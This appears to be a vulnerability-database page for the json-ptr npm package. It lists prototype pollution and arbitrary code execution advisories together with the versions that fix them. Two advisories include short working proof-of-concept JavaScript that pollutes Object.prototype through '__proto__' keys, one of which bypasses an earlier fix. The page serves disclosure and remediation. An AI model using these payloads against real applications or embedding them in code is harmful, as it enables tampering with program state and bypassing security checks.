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json-ptr@1.3.1-master.f714cdc vulnerabilities

A complete implementation of JSON Pointer (RFC 6901) for nodejs and modern browsers.

  • latest version

    3.1.1

  • latest non vulnerable version

    3.1.2-main.1988f05

  • first published

    11 years ago

  • latest version published

    2 years ago

  • licenses detected

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    Direct Vulnerabilities

    Known vulnerabilities in the json-ptr package. This does not include vulnerabilities belonging to this package’s dependencies.

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    VulnerabilityVulnerable Version
    • M
    Prototype Pollution

    json-ptr is a complete implementation of JSON Pointer (RFC 6901) for nodejs and modern browsers.

    Affected versions of this package are vulnerable to Prototype Pollution. A type confusion vulnerability can lead to a bypass of CVE-2020-7766 when the user-provided keys used in the pointer parameter are arrays.

    PoC

    const { JsonPointer } = require("json-ptr");

// JsonPointer.set({}, ['__proto__', 'polluted'], 'yes', true); 
// console.log(polluted); // Error: Attempted prototype pollution disallowed.

JsonPointer.set({}, [['__proto__'], 'polluted'], 'yes', true); 
console.log(polluted); // yes

    How to fix Prototype Pollution?

    Upgrade json-ptr to version 3.0.0 or higher.

    <3.0.0
    • H
    Arbitrary Code Execution

    json-ptr is a complete implementation of JSON Pointer (RFC 6901) for nodejs and modern browsers.

    Affected versions of this package are vulnerable to Arbitrary Code Execution via the .get() method.

    How to fix Arbitrary Code Execution?

    Upgrade json-ptr to version 2.1.0 or higher.

    <2.1.0
    • H
    Prototype Pollution

    json-ptr is a complete implementation of JSON Pointer (RFC 6901) for nodejs and modern browsers.

    Affected versions of this package are vulnerable to Prototype Pollution. The issue occurs in the set operation (https://flitbit.github.io/json-ptr/classes/_src_pointer_.jsonpointer.html#set) when the force flag is set to true.

    The function recursively set the property in the target object, however it does not properly check the key being set, leading to a prototype pollution.

    PoC

    • install json-ptr module:

    • npm i json-ptr

    • run the following poc.js:

    const { JsonPointer } = require("json-ptr");

let obj = {};
console.log("Before : " + obj.polluted);
// JsonPointer.set({}, '/constructor/prototype/polluted', "yes", true);
JsonPointer.set({}, '/__proto__/polluted', "yes", true);
console.log("After : " + obj.polluted);

    Observed output:

    Before : undefined
After : yes

    How to fix Prototype Pollution?

    Upgrade json-ptr to version 2.0.0 or higher.

    <2.0.0
    Go back to all versions of this package